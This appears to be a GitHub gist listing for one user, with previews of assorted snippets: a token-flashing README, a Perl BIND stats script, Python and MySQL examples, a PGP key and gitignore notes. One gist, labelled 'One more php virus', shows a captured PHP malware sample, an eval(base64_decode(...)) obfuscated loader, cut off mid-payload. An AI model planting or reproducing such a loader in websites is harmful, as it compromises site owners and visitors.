Skip to content

Instantly share code, notes, and snippets.

View soar's full-sized avatar
:octocat:
Moving forward

Aleksey @soar Smyrnov soar

:octocat:
Moving forward
View GitHub Profile
@soar
soar / README.md
Last active July 13, 2016 09:05
uaToken

uaToken/ruToken flash script

Usage

Place keys files to directory database/keys and start script:

/etc/init.d/openct restart
./write_token.sh <Key number> <Cert password> <User PIN> <Admin PIN>
@soar
soar / dnsstats.pl
Last active September 12, 2016 16:30
Get BIND9 stats file and output for SNMP-get
#!/usr/bin/perl
use strict;
# use warnings;
my %sections = (
"Incoming Queries" => 1,
"Outgoing Queries" => 1,
"Resolver Statistics" => 1,
"Socket I/O Statistics" => 1,
);
@soar
soar / index.php
Last active December 26, 2016 20:07
One more php virus
<?php
eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJHJ5aXVyd3l4amUgPSA2OTczOyBmdW5jdGlvbiB6emV4cygkaWhzeWYsICRpanVpbHZreil7JHBpa3p3cHJ4ID0gJyc7IGZvcigkaT0wOyAkaSA8IHN0cmxlbigkaWhzeWYpOyAkaSsrKXskcGlrendwcnggLj0gaXNzZXQoJGlqdWlsdmt6WyRpaHN5ZlskaV1dKSA/ICRpanVpbHZrelskaWhzeWZbJGldXSA6ICRpaHN5ZlskaV07fQokZmdnb2lzcnI9ImJhc2UiIC4gIjY0X2RlY29kZSI7cmV0dXJuICRmZ2dvaXNycigkcGlrendwcngpO30KJGxtcmloID0gJ0dKU1RQRVdOOENHZGxoRXhqb1d4Q2g5dzh4amYxdUhFNnVWRktWbUFHSlNUUEVXTjhDRycuCidkbGg5dzh0V1NqWWx3all2WTdYeVZBNmZrWHNERjVvU2FqaEVtQVhyUkJDaWE4Q2lTQnpFbVBlV1RDelFGNWU0WTdYeVZBNmZrWHNEU2pZbHdqU1d4OENEd2pZUUY1b2pkdlgnLgonc3BNR0Z5amhFbUN6UUY1ZUVhNUpTUlBDR2R2WHNwTUdka1gwbUFQZUJkMWVRUzhvU1Q4ZUdkMVNEMTRuV242bVZnQWNzaycuCidYWWZrWGd5MDFYRHM4ZThGNW80ZDFTRDE0blduNm1WZzdYeWdDSnFnQTZma1hZbWtYMG1BUGVCZDFlUVM4b1NUOGVHZDFzUWw0c0VNRXVXYycuCidlRVc2UUVERDRzbjQ2dDFnQWNza1hZZmtYZ3kwMVhEczhlOEY1bzRkMXNRbDRzRU1Fd
var winston_graylog2_settings = {
name: 'graylog2',
level: 'debug',
handleExceptions: true,
graylog: {
servers: [{host: "logstash", port: 12201}]
}
};
var winston = require("winston");
@soar
soar / test.py
Created April 14, 2017 14:55
Python Types
class Test(object):
a = ''
b = {}
def __init__(self, a, b):
self.a = a
self.b.update({b: b})
def __str__(self):
return "a: {!s}, b: {!s}".format(self.a, self.b)
@soar
soar / query.sql
Last active April 24, 2017 09:04
MySQL magic
SELECT
_utf8 'а' REGEXP CONCAT('^([', x'D0B0', '-', x'D18F', '])*$') as rus_a_regex_check,
HEX('а') as rus_a_hex,
_utf8 'г' REGEXP CONCAT('^([', x'D0B0', '-', x'D18F', '])*$') as rus_g_regex_check,
HEX('г') as rus_g_hex,
_utf8 'т' REGEXP CONCAT('^([', x'D0B0', '-', x'D18F', '])*$') as rus_t_regex_check,
HEX('т') as rus_t_hex,
_utf8 'у' REGEXP CONCAT('^([', x'D0B0', '-', x'D18F', '])*$') as rus_y_regex_check,
HEX('у') as rus_y_hex,
_utf8 'я' REGEXP CONCAT('^([', x'D0B0', '-', x'D18F', '])*$') as rus_ya_regex_check,
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.2.2 (GNU/Linux)
mQGiBEXwb0YRBADQva2NLpYXxgjNkbuP0LnPoEXruGmvi3XMIxjEUFuGNCP4Rj/a
kv2E5VixBP1vcQFDRJ+p1puh8NU0XERlhpyZrVMzzS/RdWdyXf7E5S8oqNXsoD1z
fvmI+i9b2EhHAA19Kgw7ifV8vMa4tkwslEmcTiwiw8lyUl28Wh4Et8SxzwCggDcA
feGqtn3PP5YAdD0km4S4XeMEAJjlrqPoPv2Gf//tfznY2UyS9PUqFCPLHgFLe80u
QhI2U5jt6jUKN4fHauvR6z3seSAsh1YyzyZCKxJFEKXCCqnrFSoh4WSJsbFNc4PN
b0V0SqiTCkWADZyLT5wll8sWuQ5ylTf3z1ENoHf+G3um3/wk/+xmEHvj9HCTBEXP
78X0A/0Tqlhc2RBnEf+AqxWvM8sk8LzJI/XGjwBvKfXe+l3rnSR2kEAvGzj5Sg0X
@soar
soar / keybase.md
Created January 9, 2018 08:31
keybase.md

Keybase proof

I hereby claim:

  • I am soar on github.
  • I am soar (https://keybase.io/soar) on keybase.
  • I have a public key whose fingerprint is 647B 1370 EC8C F1C8 11D3 C0BC 7203 2EED D016 1272

To claim this, I am signing this object:

@soar
soar / #README.md
Last active March 6, 2018 06:33 — forked from subfuzion/global-gitignore.md
Global gitignore

There are certain files created by particular editors, IDEs, operating systems, etc., that do not belong in a repository. But adding system-specific files to the repo's .gitignore is considered a poor practice. This file should only exclude files and directories that are a part of the package that should not be versioned (such as the node_modules directory) as well as files that are generated (and regenerated) as artifacts of a build process.

All other files should be in your own global gitignore file. Create a file called .gitignore in your home directory and add anything you want to ignore. You then need to tell git where your global gitignore file is.

Mac

git config --global core.excludesfile ~/.gitignore

Windows

git config --global core.excludesfile %USERPROFILE%\.gitignore
@soar
soar / markdownblock.py
Last active April 1, 2018 12:52
Wagtail Markdown - simplest way
# django
from django import forms
from django.contrib.staticfiles.templatetags.staticfiles import static
from django.forms import Media, widgets
from django.utils.functional import cached_property
# wagtail
from wagtail.utils.widgets import WidgetWithScript
from wagtail.wagtailcore import blocks